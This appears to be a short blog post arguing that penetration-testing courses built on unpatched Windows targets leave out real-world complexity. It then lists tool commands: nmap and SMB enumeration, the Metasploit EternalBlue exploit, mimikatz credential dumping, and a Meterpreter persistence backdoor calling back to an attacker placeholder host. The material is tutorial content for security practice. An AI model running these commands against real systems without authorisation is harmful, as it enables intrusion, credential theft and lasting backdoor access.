The Real-World Challenges Of Penetration Testing Courses

In the realm of cybersecurity, penetration testing courses often focus on attacking unpatched Windows 7 or 10 systems, which can be a disservice to aspiring professionals. While these scenarios provide a foundational understanding, they may not fully prepare candidates for the complexities of real-world engagements. In reality, penetration testers often encounter environments with outdated software, misconfigured systems, and legacy protocols like SMBv1, which can still be exploited despite being well-known vulnerabilities.

You Should Know:

Here are some practical commands and techniques that are essential for real-world penetration testing:

1. Reconnaissance and Enumeration:

Nmap Scan:
```
nmap -sV -sC -O <target_ip>
```
This command performs a version detection, script scanning, and OS detection on the target.
SMB Enumeration:
```
smbclient -L //<target_ip> -U ""
```
This lists shared resources on a target using SMB.

2. Exploitation:

Metasploit Framework:
```
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target_ip>
exploit
```
This is an example of exploiting the EternalBlue vulnerability (MS17-010) on unpatched Windows systems.
Phishing Simulation:
Tools like GoPhish can be used to simulate phishing attacks and test user awareness.

3. Post-Exploitation:

Mimikatz:
```
mimikatz.exe privilege::debug sekurlsa::logonpasswords
```
This tool extracts plaintext passwords, hashes, and Kerberos tickets from memory.
Persistence with Metasploit:
```
meterpreter > run persistence -X -i 60 -p 4444 -r <attacker_ip>
```
This sets up a persistent backdoor on the compromised system.

4. Network Sniffing:

Wireshark:
Use Wireshark to capture and analyze network traffic for sensitive information.
Tcpdump:
```
tcpdump -i eth0 -w capture.pcap
```
This captures network traffic on the specified interface and saves it to a file.

5. Privilege Escalation:

Windows:
```
whoami /priv
```

Check for available privileges that can be exploited.

Linux:
```
sudo -l
```
Lists commands the current user can run with sudo.

What Undercode Say:

Penetration testing courses that focus solely on outdated systems may not fully prepare you for the real world, but they do provide a foundation. The key is to supplement this knowledge with hands-on practice in diverse environments. Understanding legacy vulnerabilities like EternalBlue and SMBv1 is crucial, as these are still prevalent in many organizations. However, the real skill lies in adapting to new challenges, conducting thorough reconnaissance, and thinking like an attacker. Always stay updated with the latest tools, techniques, and vulnerabilities to remain effective in the ever-evolving field of cybersecurity.

For further reading, check out these resources:

References:

Reported By: Brianhcyber Imho – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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